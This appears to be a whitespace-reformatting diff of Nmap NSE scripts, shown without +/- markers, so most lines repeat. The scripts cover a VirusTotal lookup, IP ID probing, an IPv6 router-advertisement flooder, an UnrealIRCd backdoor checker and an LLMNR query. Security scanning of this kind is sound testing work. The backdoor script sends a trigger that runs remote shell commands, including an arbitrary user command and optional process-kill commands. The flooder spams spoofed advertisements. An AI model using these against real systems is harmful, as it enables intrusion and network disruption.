table.insert(result, {
name = "digests",
("SHA1: %s"):format(report.sha1),
("SHA256: %s"):format(report.sha256),
("MD5: %s"):format(report.md5)
})
table.insert(result, ("Permalink: %s"):format(report.permalink))
table.insert(result, ("Scan date: %s"):format(report.scan_date))
table.insert(result, ("Positives: %s"):format(report.positives))
table.insert(result, {
name = "digests",
("SHA1: %s"):format(report.sha1),
("SHA256: %s"):format(report.sha256),
("MD5: %s"):format(report.md5)
})
local tmp = {}
for name, scanres in pairs(report.scans) do
local res = ( scanres.detected ) and scanres.result or "-"
table.insert(tmp, { name = name, result = res, update = scanres.update, version = scanres.version })
end
table.sort(tmp, function(a,b) return a.name:upper()<b.name:upper() end)
local tmp = {}
for name, scanres in pairs(report.scans) do
local res = ( scanres.detected ) and scanres.result or "-"
table.insert(tmp, { name = name, result = res, update = scanres.update, version = scanres.version })
end
table.sort(tmp, function(a,b) return a.name:upper()<b.name:upper() end)
local scan_tbl = tab.new(4)
tab.addrow(scan_tbl, "name", "result", "date", "version")
for _, v in ipairs(tmp) do
tab.addrow(scan_tbl, v.name, v.result, v.update, v.version)
end
table.insert(result, { name = "Results", tab.dump(scan_tbl) })
local scan_tbl = tab.new(4)
tab.addrow(scan_tbl, "name", "result", "date", "version")
for _, v in ipairs(tmp) do
tab.addrow(scan_tbl, v.name, v.result, v.update, v.version)
end
table.insert(result, { name = "Results", tab.dump(scan_tbl) })
return result
return result
end
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
action = function()
if ( not(arg_apiKey) ) then
return fail("An API key is required in order to use this script (see description)")
end
if ( not(arg_apiKey) ) then
return fail("An API key is required in order to use this script (see description)")
end
local resource
if ( arg_upload == "true" and arg_filename ) then
local status, json_data = requestFileScan(arg_filename, arg_apiKey)
if ( not(status) or not(json_data['resource']) ) then
return fail(json_data)
end
resource = json_data['resource']
local resource
if ( arg_upload == "true" and arg_filename ) then
local status, json_data = requestFileScan(arg_filename, arg_apiKey)
if ( not(status) or not(json_data['resource']) ) then
return fail(json_data)
end
resource = json_data['resource']
local output = {}
table.insert(output, "Your file was succesfully uploaded and placed in the scanning queue.")
table.insert(output, { name = "To check the current status visit:", json_data['permalink'] })
return stdnse.format_output(true, output)
elseif ( arg_filename ) then
local status, sha256 = calcSHA256(arg_filename)
if ( not(status) ) then
return fail("Failed to calculate SHA256 checksum for file")
end
resource = sha256
elseif ( arg_checksum ) then
resource = arg_checksum
else
return
end
local output = {}
table.insert(output, "Your file was succesfully uploaded and placed in the scanning queue.")
table.insert(output, { name = "To check the current status visit:", json_data['permalink'] })
return stdnse.format_output(true, output)
elseif ( arg_filename ) then
local status, sha256 = calcSHA256(arg_filename)
if ( not(status) ) then
return fail("Failed to calculate SHA256 checksum for file")
end
resource = sha256
elseif ( arg_checksum ) then
resource = arg_checksum
else
return
end
local status, response
local status, response
local status, response = getFileScanReport(resource)
if ( not(status) ) then
return fail("Failed to retrieve file scan report")
end
local status, response = getFileScanReport(resource)
if ( not(status) ) then
return fail("Failed to retrieve file scan report")
end
if ( not(response.response_code) or 0 == tonumber(response.response_code) ) then
return fail(("Failed to retreive scan report for resource: %s"):format(resource))
end
if ( not(response.response_code) or 0 == tonumber(response.response_code) ) then
return fail(("Failed to retreive scan report for resource: %s"):format(resource))
end
return stdnse.format_output(true, parseScanReport(response))
return stdnse.format_output(true, parseScanReport(response))
end

View File

@@ -43,17 +43,17 @@ local ipidseqport
--- Pcap check function
-- @return Destination and source IP addresses and TCP ports
local check = function(layer3)
local ip = packet.Packet:new(layer3, layer3:len())
return bin.pack('AA=S=S', ip.ip_bin_dst, ip.ip_bin_src, ip.tcp_dport, ip.tcp_sport)
local ip = packet.Packet:new(layer3, layer3:len())
return bin.pack('AA=S=S', ip.ip_bin_dst, ip.ip_bin_src, ip.tcp_dport, ip.tcp_sport)
end
--- Updates a TCP Packet object
-- @param tcp The TCP object
local updatepkt = function(tcp)
tcp:tcp_set_sport(math.random(0x401, 0xffff))
tcp:tcp_set_seq(math.random(1, 0x7fffffff))
tcp:tcp_count_checksum(tcp.ip_len)
tcp:ip_count_checksum()
tcp:tcp_set_sport(math.random(0x401, 0xffff))
tcp:tcp_set_seq(math.random(1, 0x7fffffff))
tcp:tcp_count_checksum(tcp.ip_len)
tcp:ip_count_checksum()
end
--- Create a TCP Packet object
@@ -61,192 +61,192 @@ end
-- @param port Port number
-- @return TCP Packet object
local genericpkt = function(host, port)
local pkt = bin.pack("H",
"4500 002c 55d1 0000 8006 0000 0000 0000" ..
"0000 0000 0000 0000 0000 0000 0000 0000" ..
"6002 0c00 0000 0000 0204 05b4"
)
local pkt = bin.pack("H",
"4500 002c 55d1 0000 8006 0000 0000 0000" ..
"0000 0000 0000 0000 0000 0000 0000 0000" ..
"6002 0c00 0000 0000 0204 05b4"
)
local tcp = packet.Packet:new(pkt, pkt:len())
local tcp = packet.Packet:new(pkt, pkt:len())
tcp:ip_set_bin_src(host.bin_ip_src)
tcp:ip_set_bin_dst(host.bin_ip)
tcp:tcp_set_dport(port)
tcp:ip_set_bin_src(host.bin_ip_src)
tcp:ip_set_bin_dst(host.bin_ip)
tcp:tcp_set_dport(port)
updatepkt(tcp)
updatepkt(tcp)
return tcp
return tcp
end
--- Classifies a series of IP ID numbers like get_ipid_sequence() in osscan2.cc
-- @param ipids Table of IP IDs
local ipidseqclass = function(ipids)
local diffs = {}
local allzeros = true
local allsame = true
local mul256 = true
local inc = true
local diffs = {}
local allzeros = true
local allsame = true
local mul256 = true
local inc = true
if #ipids < 2 then
return "Unknown"
end
if #ipids < 2 then
return "Unknown"
end
local i = 2
local i = 2
while i <= #ipids do
if ipids[i-1] ~= 0 or ipids[i] ~= 0 then
allzeros = false
end
while i <= #ipids do
if ipids[i-1] ~= 0 or ipids[i] ~= 0 then
allzeros = false
end
if ipids[i-1] <= ipids[i] then
diffs[i-1] = ipids[i] - ipids[i-1]
else
diffs[i-1] = ipids[i] - ipids[i-1] + 65536
end
if ipids[i-1] <= ipids[i] then
diffs[i-1] = ipids[i] - ipids[i-1]
else
diffs[i-1] = ipids[i] - ipids[i-1] + 65536
end
if #ipids > 2 and diffs[i-1] > 20000 then
return "Randomized"
end
if #ipids > 2 and diffs[i-1] > 20000 then
return "Randomized"
end
i = i + 1
end
i = i + 1
end
if allzeros then
return "All zeros"
end
if allzeros then
return "All zeros"
end
i = 1
i = 1
while i <= #diffs do
if diffs[i] ~= 0 then
allsame = false
end
while i <= #diffs do
if diffs[i] ~= 0 then
allsame = false
end
if (diffs[i] > 1000) and ((diffs[i] % 256) ~= 0 or
((diffs[i] % 256) == 0 and diffs[i] > 25600)) then
return "Random Positive Increments"
end
if (diffs[i] > 1000) and ((diffs[i] % 256) ~= 0 or
((diffs[i] % 256) == 0 and diffs[i] > 25600)) then
return "Random Positive Increments"
end
if diffs[i] > 5120 or (diffs[i] % 256) ~= 0 then
mul256 = false
end
if diffs[i] > 5120 or (diffs[i] % 256) ~= 0 then
mul256 = false
end
if diffs[i] >= 10 then
inc = false
end
if diffs[i] >= 10 then
inc = false
end
i = i + 1
end
i = i + 1
end
if allsame then
return "Constant"
end
if allsame then
return "Constant"
end
if mul256 then
return "Broken incremental!"
end
if mul256 then
return "Broken incremental!"
end
if inc then
return "Incremental!"
end
if inc then
return "Incremental!"
end
return "Unknown"
return "Unknown"
end
--- Determines what port to probe
-- @param host Host object
local getport = function(host)
for _, k in ipairs({"ipidseq.probeport", "probeport"}) do
if nmap.registry.args[k] then
return tonumber(nmap.registry.args[k])
end
end
for _, k in ipairs({"ipidseq.probeport", "probeport"}) do
if nmap.registry.args[k] then
return tonumber(nmap.registry.args[k])
end
end
--local states = { "open", "closed", "unfiltered", "open|filtered", "closed|filtered" }
local states = { "open", "closed" }
local port = nil
--local states = { "open", "closed", "unfiltered", "open|filtered", "closed|filtered" }
local states = { "open", "closed" }
local port = nil
for _, s in ipairs(states) do
port = nmap.get_ports(host, nil, "tcp", s)
if port then
break
end
end
for _, s in ipairs(states) do
port = nmap.get_ports(host, nil, "tcp", s)
if port then
break
end
end
if not port then
return nil
end
if not port then
return nil
end
return port.number
return port.number
end
hostrule = function(host)
if not nmap.is_privileged() then
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
if not nmap.registry[SCRIPT_NAME].rootfail then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
end
nmap.registry[SCRIPT_NAME].rootfail = true
return nil
end
if not nmap.is_privileged() then
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
if not nmap.registry[SCRIPT_NAME].rootfail then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
end
nmap.registry[SCRIPT_NAME].rootfail = true
return nil
end
if nmap.address_family() ~= 'inet' then
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
return false
end
if not host.interface then
return false
end
ipidseqport = getport(host)
return (ipidseqport ~= nil)
if nmap.address_family() ~= 'inet' then
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
return false
end
if not host.interface then
return false
end
ipidseqport = getport(host)
return (ipidseqport ~= nil)
end
action = function(host)
local i = 1
local ipids = {}
local sock = nmap.new_dnet()
local pcap = nmap.new_socket()
local saddr = packet.toip(host.bin_ip_src)
local daddr = packet.toip(host.bin_ip)
local try = nmap.new_try()
local i = 1
local ipids = {}
local sock = nmap.new_dnet()
local pcap = nmap.new_socket()
local saddr = packet.toip(host.bin_ip_src)
local daddr = packet.toip(host.bin_ip)
local try = nmap.new_try()
try(sock:ip_open())
try(sock:ip_open())
try = nmap.new_try(function() sock:ip_close() end)
try = nmap.new_try(function() sock:ip_close() end)
pcap:pcap_open(host.interface, 104, false, "tcp and dst host " .. saddr .. " and src host " .. daddr .. " and src port " .. ipidseqport)
pcap:pcap_open(host.interface, 104, false, "tcp and dst host " .. saddr .. " and src host " .. daddr .. " and src port " .. ipidseqport)
pcap:set_timeout(host.times.timeout * 1000)
pcap:set_timeout(host.times.timeout * 1000)
local tcp = genericpkt(host, ipidseqport)
local tcp = genericpkt(host, ipidseqport)
while i <= NUMPROBES do
try(sock:ip_send(tcp.buf, host))
while i <= NUMPROBES do
try(sock:ip_send(tcp.buf, host))
local status, len, _, layer3 = pcap:pcap_receive()
local test = bin.pack('AA=S=S', tcp.ip_bin_src, tcp.ip_bin_dst, tcp.tcp_sport, tcp.tcp_dport)
while status and test ~= check(layer3) do
status, len, _, layer3 = pcap:pcap_receive()
end
local status, len, _, layer3 = pcap:pcap_receive()
local test = bin.pack('AA=S=S', tcp.ip_bin_src, tcp.ip_bin_dst, tcp.tcp_sport, tcp.tcp_dport)
while status and test ~= check(layer3) do
status, len, _, layer3 = pcap:pcap_receive()
end
if status then
table.insert(ipids, packet.u16(layer3, 4))
end
if status then
table.insert(ipids, packet.u16(layer3, 4))
end
updatepkt(tcp)
updatepkt(tcp)
i = i + 1
end
i = i + 1
end
pcap:close()
sock:ip_close()
pcap:close()
sock:ip_close()
local output = ipidseqclass(ipids)
local output = ipidseqclass(ipids)
if nmap.debugging() > 0 then
output = output .. " [used port " .. ipidseqport .. "]"
end
if nmap.debugging() > 0 then
output = output .. " [used port " .. ipidseqport .. "]"
end
return output
return output
end

View File

@@ -43,50 +43,50 @@ try = nmap.new_try()
math.randomseed(os.time())
prerule = function()
if nmap.address_family() ~= "inet6" then
stdnse.print_debug("%s is IPv6 compatible only.", SCRIPT_NAME)
return false
end
if nmap.address_family() ~= "inet6" then
stdnse.print_debug("%s is IPv6 compatible only.", SCRIPT_NAME)
return false
end
if not nmap.is_privileged() then
stdnse.print_debug("Running %s needs root privileges.", SCRIPT_NAME)
return false
end
if not nmap.is_privileged() then
stdnse.print_debug("Running %s needs root privileges.", SCRIPT_NAME)
return false
end
if not stdnse.get_script_args(SCRIPT_NAME .. ".interface") and not nmap.get_interface() then
stdnse.print_debug("No interface was selected, aborting...", SCRIPT_NAME)
return false
end
if not stdnse.get_script_args(SCRIPT_NAME .. ".interface") and not nmap.get_interface() then
stdnse.print_debug("No interface was selected, aborting...", SCRIPT_NAME)
return false
end
return true
return true
end
local function get_interface()
local arg_interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface") or nmap.get_interface()
local arg_interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface") or nmap.get_interface()
local if_table = nmap.get_interface_info(arg_interface)
local if_table = nmap.get_interface_info(arg_interface)
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
return if_table.device
else
stdnse.print_debug("Interface %s not supported or not properly configured, exiting...", arg_interface)
end
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
return if_table.device
else
stdnse.print_debug("Interface %s not supported or not properly configured, exiting...", arg_interface)
end
end
--- Generates random MAC address
-- @return mac string containing random MAC address
local function random_mac()
local mac = string.format("%02x:%02x:%02x:%02x:%02x:%02x", 00, 180, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1)
return mac
local mac = string.format("%02x:%02x:%02x:%02x:%02x:%02x", 00, 180, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1)
return mac
end
--- Generates random IPv6 prefix
-- @return prefix string containing random IPv6 /64 prefix
local function get_random_prefix()
local prefix = string.format("2a01:%02x%02x:%02x%02x:%02x%02x::", math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1)
local prefix = string.format("2a01:%02x%02x:%02x%02x:%02x%02x::", math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1)
return prefix
return prefix
end
--- Build an ICMPv6 payload of Router Advertisement.
@@ -99,94 +99,94 @@ end
-- @return icmpv6_payload string representing ICMPv6 RA payload
local function build_router_advert(mac_src,prefix,prefix_len,valid_time,preferred_time, mtu)
local ra_msg = string.char(0x0, --cur hop limit
0x08, --flags
0x00,0x00, --router lifetime
0x00,0x00,0x00,0x00, --reachable time
0x00,0x00,0x00,0x00) --retrans timer
local ra_msg = string.char(0x0, --cur hop limit
0x08, --flags
0x00,0x00, --router lifetime
0x00,0x00,0x00,0x00, --reachable time
0x00,0x00,0x00,0x00) --retrans timer
local mtu_option_msg = string.char(0x00, 0x00) .. -- reserved
packet.numtostr32(mtu) -- MTU
local mtu_option_msg = string.char(0x00, 0x00) .. -- reserved
packet.numtostr32(mtu) -- MTU
local prefix_option_msg = string.char(prefix_len, 0xc0) .. --flags: Onlink, Auto
packet.set_u32("....", 0, valid_time) .. -- valid lifetime
packet.set_u32("....", 0, preferred_time) .. -- preffered lifetime
string.char(0,0,0,0) .. --unknown
prefix
local prefix_option_msg = string.char(prefix_len, 0xc0) .. --flags: Onlink, Auto
packet.set_u32("....", 0, valid_time) .. -- valid lifetime
packet.set_u32("....", 0, preferred_time) .. -- preffered lifetime
string.char(0,0,0,0) .. --unknown
prefix
local icmpv6_mtu_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_MTU, mtu_option_msg)
local icmpv6_prefix_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_PREFIX_INFORMATION, prefix_option_msg)
local icmpv6_src_link_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_SOURCE_LINKADDR, mac_src)
local icmpv6_mtu_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_MTU, mtu_option_msg)
local icmpv6_prefix_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_PREFIX_INFORMATION, prefix_option_msg)
local icmpv6_src_link_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_SOURCE_LINKADDR, mac_src)
local icmpv6_payload = ra_msg .. icmpv6_mtu_option .. icmpv6_prefix_option .. icmpv6_src_link_option
local icmpv6_payload = ra_msg .. icmpv6_mtu_option .. icmpv6_prefix_option .. icmpv6_src_link_option
return icmpv6_payload
return icmpv6_payload
end
--- Broadcasting on the selected interface
-- @param iface table containing interface information
local function broadcast_on_interface(iface)
stdnse.print_verbose("Starting " .. SCRIPT_NAME .. " on interface " .. iface)
stdnse.print_verbose("Starting " .. SCRIPT_NAME .. " on interface " .. iface)
-- packet counter
local counter = 0
-- packet counter
local counter = 0
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
arg_timeout = arg_timeout or 30
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
arg_timeout = arg_timeout or 30
local dnet = nmap.new_dnet()
local dnet = nmap.new_dnet()
try(dnet:ethernet_open(iface))
try(dnet:ethernet_open(iface))
local dst_mac = packet.mactobin("33:33:00:00:00:01")
local dst_ip6_addr = packet.ip6tobin("ff02::1")
local dst_mac = packet.mactobin("33:33:00:00:00:01")
local dst_ip6_addr = packet.ip6tobin("ff02::1")
local prefix_len = 64
local prefix_len = 64
--- maximum possible value of 4-byte integer
local valid_time = tonumber(0xffffffff)
local preffered_time = tonumber(0xffffffff)
--- maximum possible value of 4-byte integer
local valid_time = tonumber(0xffffffff)
local preffered_time = tonumber(0xffffffff)
local mtu = 1500
local mtu = 1500
local start, stop = os.time()
local start, stop = os.time()
while true do
while true do
local src_mac = packet.mactobin(random_mac())
local src_ip6_addr = packet.mac_to_lladdr(src_mac)
local src_mac = packet.mactobin(random_mac())
local src_ip6_addr = packet.mac_to_lladdr(src_mac)
local prefix = packet.ip6tobin(get_random_prefix())
local prefix = packet.ip6tobin(get_random_prefix())
local packet = packet.Frame:new()
local packet = packet.Frame:new()
packet.mac_src = src_mac
packet.mac_dst = dst_mac
packet.ip_bin_src = src_ip6_addr
packet.ip_bin_dst = dst_ip6_addr
packet.mac_src = src_mac
packet.mac_dst = dst_mac
packet.ip_bin_src = src_ip6_addr
packet.ip_bin_dst = dst_ip6_addr
local icmpv6_payload = build_router_advert(src_mac, prefix, prefix_len, valid_time, preffered_time, mtu)
packet:build_icmpv6_header(134, 0, icmpv6_payload)
packet:build_ipv6_packet()
packet:build_ether_frame()
local icmpv6_payload = build_router_advert(src_mac, prefix, prefix_len, valid_time, preffered_time, mtu)
packet:build_icmpv6_header(134, 0, icmpv6_payload)
packet:build_ipv6_packet()
packet:build_ether_frame()
try(dnet:ethernet_send(packet.frame_buf))
try(dnet:ethernet_send(packet.frame_buf))
counter = counter + 1
counter = counter + 1
if arg_timeout and arg_timeout > 0 and arg_timeout <= os.time() - start then
stop = os.time()
break
end
end
if arg_timeout and arg_timeout > 0 and arg_timeout <= os.time() - start then
stop = os.time()
break
end
end
if counter > 0 then
stdnse.print_debug("%s generated %d packets in %d seconds.", SCRIPT_NAME, counter, stop - start)
end
if counter > 0 then
stdnse.print_debug("%s generated %d packets in %d seconds.", SCRIPT_NAME, counter, stop - start)
end
end
function action()
local interface = get_interface()
local interface = get_interface()
broadcast_on_interface(interface)
broadcast_on_interface(interface)
end

View File

@@ -58,159 +58,159 @@ portrule = shortport.port_or_service({6666,6667,6697,6679,8067},{"irc","ircs"})
action = function(host, port)
local socket = nmap.new_socket()
local code, message
local status, err
local data
-- Wait up to this long for the server to send its startup messages and
-- a response to our noop_command. After this, send the full_command.
-- Usually we don't have to wait the full time because we can detect
-- the response to noop_command.
local banner_timeout = 60
-- Send a command to sleep this long. This just has to be long enough
-- to remove confusion from network delay.
local delay = 8
local socket = nmap.new_socket()
local code, message
local status, err
local data
-- Wait up to this long for the server to send its startup messages and
-- a response to our noop_command. After this, send the full_command.
-- Usually we don't have to wait the full time because we can detect
-- the response to noop_command.
local banner_timeout = 60
-- Send a command to sleep this long. This just has to be long enough
-- to remove confusion from network delay.
local delay = 8
-- If the command takes (delay - delay_fudge) or more seconds, the server is vulnerable.
-- I defined the furdge as 1 second, for now, just because of rounding issues. In practice,
-- the actual delay should never be shorter than the given delay, only longer.
local delay_fudge = 1
-- If the command takes (delay - delay_fudge) or more seconds, the server is vulnerable.
-- I defined the furdge as 1 second, for now, just because of rounding issues. In practice,
-- the actual delay should never be shorter than the given delay, only longer.
local delay_fudge = 1
-- We send this command on connection because comm.tryssl needs to send
-- something; it also allows us to detect the end of server
-- initialization.
local noop_command = "TIME"
-- We send this command on connection because comm.tryssl needs to send
-- something; it also allows us to detect the end of server
-- initialization.
local noop_command = "TIME"
-- The 'AB' sequence triggers the backdoor to run a command.
local trigger = "AB"
-- The 'AB' sequence triggers the backdoor to run a command.
local trigger = "AB"
-- We define a highly unique variable as a type of 'ping' -- it lets us see when our
-- command returns. Typically, asynchronous data will be received after the initial
-- connection -- this lets us ignore that extra data.
local unique = "SOMETHINGUNIQUE"
-- We define a highly unique variable as a type of 'ping' -- it lets us see when our
-- command returns. Typically, asynchronous data will be received after the initial
-- connection -- this lets us ignore that extra data.
local unique = "SOMETHINGUNIQUE"
-- On Linux, do a simple sleep command.
local command_linux = "sleep " .. delay
-- On Linux, do a simple sleep command.
local command_linux = "sleep " .. delay
-- Set up an extra command, if the user requested one
local command_extra = ""
if(stdnse.get_script_args('irc-unrealircd-backdoor.command')) then
command_extra = stdnse.get_script_args('irc-unrealircd-backdoor.command')
-- Replace "%IP%" with the ip address
command_extra = string.gsub(command_extra, '%%IP%%', host.ip)
end
-- Set up an extra command, if the user requested one
local command_extra = ""
if(stdnse.get_script_args('irc-unrealircd-backdoor.command')) then
command_extra = stdnse.get_script_args('irc-unrealircd-backdoor.command')
-- Replace "%IP%" with the ip address
command_extra = string.gsub(command_extra, '%%IP%%', host.ip)
end
-- Windows, unfortunately, doesn't have a sleep command. Instead, we use 'ping' to
-- simulate a sleep (thanks to Ed Skoudis for teaching me this one!). We always want
-- to add 1 to the delay because the first ping happens instantly.
--
-- This is likely unnecessary, because the Windows version of UnrealIRCd is reportedly
-- not vulnerable. However, it's possible that some odd person may have compiled it
-- from the vulnerable sourcecode, so we check for it anyways.
local command_windows = "ping -n " .. (delay + 1) .. " 127.0.0.1"
-- Windows, unfortunately, doesn't have a sleep command. Instead, we use 'ping' to
-- simulate a sleep (thanks to Ed Skoudis for teaching me this one!). We always want
-- to add 1 to the delay because the first ping happens instantly.
--
-- This is likely unnecessary, because the Windows version of UnrealIRCd is reportedly
-- not vulnerable. However, it's possible that some odd person may have compiled it
-- from the vulnerable sourcecode, so we check for it anyways.
local command_windows = "ping -n " .. (delay + 1) .. " 127.0.0.1"
-- Put together the full command
local full_command = string.format("%s;%s;%s;%s;%s", trigger, unique, command_linux, command_windows, command_extra)
-- Put together the full command
local full_command = string.format("%s;%s;%s;%s;%s", trigger, unique, command_linux, command_windows, command_extra)
-- wait time: get rid of fast reconnecting annoyance
if(stdnse.get_script_args('irc-unrealircd-backdoor.wait')) then
local waittime = stdnse.get_script_args('irc-unrealircd-backdoor.wait')
stdnse.print_debug(1, "irc-unrealircd-backdoor: waiting for %i seconds", waittime)
stdnse.sleep(waittime)
end
-- wait time: get rid of fast reconnecting annoyance
if(stdnse.get_script_args('irc-unrealircd-backdoor.wait')) then
local waittime = stdnse.get_script_args('irc-unrealircd-backdoor.wait')
stdnse.print_debug(1, "irc-unrealircd-backdoor: waiting for %i seconds", waittime)
stdnse.sleep(waittime)
end
-- Send an innocuous command as fodder for tryssl.
stdnse.print_debug(1, "irc-unrealircd-backdoor: Sending command: %s", noop_command);
local socket, response = comm.tryssl(host, port, noop_command .. "\n", {recv_before=false})
-- Send an innocuous command as fodder for tryssl.
stdnse.print_debug(1, "irc-unrealircd-backdoor: Sending command: %s", noop_command);
local socket, response = comm.tryssl(host, port, noop_command .. "\n", {recv_before=false})
-- Make sure the socket worked
if(not(socket) or not(response)) then
stdnse.print_debug(1, "irc-unrealircd-backdoor: Couldn't connect to remote host")
return nil
end
-- Make sure the socket worked
if(not(socket) or not(response)) then
stdnse.print_debug(1, "irc-unrealircd-backdoor: Couldn't connect to remote host")
return nil
end
socket:set_timeout(banner_timeout * 1000)
socket:set_timeout(banner_timeout * 1000)
-- Look for the end of initial server messages. This allows reverse DNS
-- resolution and ident lookups to time out and not interfere with our
-- timing measurement.
status = true
data = response
while status and not (string.find(data, noop_command) or string.find(data, " 451 ")) do
status, response = socket:receive_bytes(0)
if status then
data = data .. response
end
end
-- Look for the end of initial server messages. This allows reverse DNS
-- resolution and ident lookups to time out and not interfere with our
-- timing measurement.
status = true
data = response
while status and not (string.find(data, noop_command) or string.find(data, " 451 ")) do
status, response = socket:receive_bytes(0)
if status then
data = data .. response
end
end
if not status then
stdnse.print_debug(1, "irc-unrealircd-backdoor: Receive failed after %s: %s", noop_command, response)
return nil
end
if not status then
stdnse.print_debug(1, "irc-unrealircd-backdoor: Receive failed after %s: %s", noop_command, response)
return nil
end
-- Send the backdoor command.
stdnse.print_debug(1, "irc-unrealircd-backdoor: Sending command: %s", full_command);
status, err = socket:send(full_command .. "\n")
if not status then
stdnse.print_debug(1, "irc-unrealircd-backdoor: Send failed: %s", err)
return nil
end
-- Send the backdoor command.
stdnse.print_debug(1, "irc-unrealircd-backdoor: Sending command: %s", full_command);
status, err = socket:send(full_command .. "\n")
if not status then
stdnse.print_debug(1, "irc-unrealircd-backdoor: Send failed: %s", err)
return nil
end
-- Get the current time so we can measure the delay
local time = os.time(os.date('*t'))
socket:set_timeout((delay + 5) * 1000)
-- Get the current time so we can measure the delay
local time = os.time(os.date('*t'))
socket:set_timeout((delay + 5) * 1000)
-- Accumulate the response in the 'data' string
status = true
data = ""
while not string.find(data, unique) do
status, response = socket:receive_bytes(0)
if status then
data = data .. response
else
-- If the server unexpectedly closes the connection, it
-- is usually related to throttling. Therefore, we
-- print a throttling warning.
stdnse.print_debug(1, "irc-unrealircd-backdoor: Receive failed: %s", response)
socket:close()
return "Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again)."
end
end
-- Accumulate the response in the 'data' string
status = true
data = ""
while not string.find(data, unique) do
status, response = socket:receive_bytes(0)
if status then
data = data .. response
else
-- If the server unexpectedly closes the connection, it
-- is usually related to throttling. Therefore, we
-- print a throttling warning.
stdnse.print_debug(1, "irc-unrealircd-backdoor: Receive failed: %s", response)
socket:close()
return "Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again)."
end
end
-- Determine the elapsed time
local elapsed = os.time(os.date('*t')) - time
-- Determine the elapsed time
local elapsed = os.time(os.date('*t')) - time
-- Let the user know that everything's working
stdnse.print_debug(1, "irc-unrealircd-backdoor: Received a response to our command in " .. elapsed .. " seconds")
-- Let the user know that everything's working
stdnse.print_debug(1, "irc-unrealircd-backdoor: Received a response to our command in " .. elapsed .. " seconds")
-- Determine whether or not the vulnerability is present
if(elapsed > (delay - delay_fudge)) then
-- Check if the user wants to kill the server.
if(stdnse.get_script_args('irc-unrealircd-backdoor.kill')) then
stdnse.print_debug(1, "irc-unrealircd-backdoor: Attempting to kill the Trojanned UnrealIRCd server...")
-- Determine whether or not the vulnerability is present
if(elapsed > (delay - delay_fudge)) then
-- Check if the user wants to kill the server.
if(stdnse.get_script_args('irc-unrealircd-backdoor.kill')) then
stdnse.print_debug(1, "irc-unrealircd-backdoor: Attempting to kill the Trojanned UnrealIRCd server...")
local linux_kill = "kill `ps -e | grep ircd | awk '{ print $1 }'`"
local windows_kill = 'wmic process where "name like \'%ircd%\'" delete'
local kill_command = string.format("%s||%s||%s", trigger, linux_kill, windows_kill)
local linux_kill = "kill `ps -e | grep ircd | awk '{ print $1 }'`"
local windows_kill = 'wmic process where "name like \'%ircd%\'" delete'
local kill_command = string.format("%s||%s||%s", trigger, linux_kill, windows_kill)
-- Kill the process
stdnse.print_debug(1, "Running kill command: %s", kill_command)
socket:send(kill_command .. "\n")
end
-- Kill the process
stdnse.print_debug(1, "Running kill command: %s", kill_command)
socket:send(kill_command .. "\n")
end
stdnse.print_debug(1, "irc-unrealircd-backdoor: Looks like the Trojanned unrealircd is running!")
stdnse.print_debug(1, "irc-unrealircd-backdoor: Looks like the Trojanned unrealircd is running!")
-- Close the socket
socket:close()
-- Close the socket
socket:close()
return "Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277"
end
return "Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277"
end
-- Close the socket
socket:close()
-- Close the socket
socket:close()
stdnse.print_debug(1, "irc-unrealircd-backdoor: The Trojanned version of unrealircd probably isn't running.")
stdnse.print_debug(1, "irc-unrealircd-backdoor: The Trojanned version of unrealircd probably isn't running.")
return nil
return nil
end

View File

@@ -37,11 +37,11 @@ For more information, see:
--
prerule = function()
if not nmap.is_privileged() then
stdnse.print_verbose("%s not running due to lack of privileges.", SCRIPT_NAME)
return false
end
return true
if not nmap.is_privileged() then
stdnse.print_verbose("%s not running due to lack of privileges.", SCRIPT_NAME)
return false
end
return true
end
author = "Hani Benhabiles"
@@ -55,30 +55,30 @@ categories = {"discovery", "safe", "broadcast"}
-- @param hostname Hostname to query for.
-- @return query Raw llmnr query.
local llmnrQuery = function(hostname)
local query = bin.pack(">S", math.random(0,65535)) -- transaction ID
query = query .. bin.pack(">S", 0x0000) -- Flags: Standard Query
query = query .. bin.pack(">S", 0x0001) -- Questions = 1
query = query .. bin.pack(">S", 0x0000) -- Answer RRs = 0
query = query .. bin.pack(">S", 0x0000) -- Authority RRs = 0
query = query .. bin.pack(">S", 0x0000) -- Additional RRs = 0
query = query .. bin.pack(">CAC", #hostname, hostname, 0x00) -- Hostname
query = query .. bin.pack(">S", 0x0001) -- Type: Host Address
query = query .. bin.pack(">S", 0x0001) -- Class: IN
return query
local query = bin.pack(">S", math.random(0,65535)) -- transaction ID
query = query .. bin.pack(">S", 0x0000) -- Flags: Standard Query
query = query .. bin.pack(">S", 0x0001) -- Questions = 1
query = query .. bin.pack(">S", 0x0000) -- Answer RRs = 0
